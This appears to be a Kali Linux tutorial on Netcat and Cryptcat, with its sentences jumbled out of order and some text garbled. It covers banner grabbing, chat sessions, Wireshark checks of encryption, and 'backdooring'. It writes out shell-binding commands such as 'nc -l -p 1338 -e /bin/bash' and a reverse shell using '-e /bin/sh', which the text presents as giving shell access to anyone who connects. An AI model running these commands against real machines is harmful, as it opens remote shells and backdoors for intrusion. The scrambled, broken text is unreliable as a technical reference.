So, we can see cryptcat encrypts the connection.Its most secure way of backdooring.Netcat is acquired by Nmap project and named as Ncat which supports SSL over Traffic.Cats are always Different.

nc can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, perform port scanning, and deal with both IPv4 and IPv6 Set up a Netcat Reverse Shell (Linux) nc -lvp 443 nc -nv < IP Address > 443-e / bin / sh: Netcat as a Port Scanner.

Performed backdooring using Cryptcat, let’s check out the below Image of chat session using Cryptcat. The nc (or netcat) utility is used for a variety of tasks associated with TCP or UDP.

We run following command to see information of services running on a specific port: Command: nc 192.168.122.48 21 In the following screenshot we can see version of running services on the port.

Cryptcat Commands will be same as netcat Banner grabbing is collection of information from the host machine.

Above comment executed : cryptcat - 8000.

Cryptcat uses end to end encryption using Two-Fish encryption algorithm.

Cryptcat has an advanced feature like using ciphers to encrypt clear text communication.

But Still, we have an idea to overcome this issues.Let’s use ciphers!.

Anyone in your network can use Wireshark to see these activities.

OOPS !!!! Follow TCP Stream in Wireshark captures connections & clear text messages.OMG !.

Note: Conversations between Kali Linux and windows machine are encrypted or not ? Let us check with Wireshark! Wireshark(packet capture Tool):. For More Functions & Commands Refer HereĪlso Read Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Here both client and server are started chatting using netcat.

Above image illustrate listener over 443 port & chat begins !!!.

Execute Command in windows machine : nc.exe.

Above command, TCP session will be established to receive packets from any IP which connects to port 1337 & now your own private messenger is ready.

Execute Command in Kali Linux: nc -l -p 1337.

Above illustrated image shows the windows machine or any client accessing and controlling kali machine via Linux commands.

Execute Command on Windows Machine : nc.exe.

Now, Kali Linux as a backdoor to your network.

Run the following command to grab the target’s ftp and ssh banners: nc 192.168.1.105 21 nc 192.168.1. It can be used to open local ports, supports file transference between devices. Netcat features include outgoing and incoming connections, TCP or UDP, to or from any ports.

Above listener will be listening via port 1338 and gives executable -e for anyone for shell access through /bin/bash Banner refers to a text message received from the host with information about the open ports and services along with their version numbers. Netcat is a command-line network tool used to establish TCP/UDP connections and network analysis.

Execute Command: nc -l -p 1338 -e /bin/bash.

In this Kali Linux Tutorial how to work with Netcat and Cryptcat and would show the difference between them.
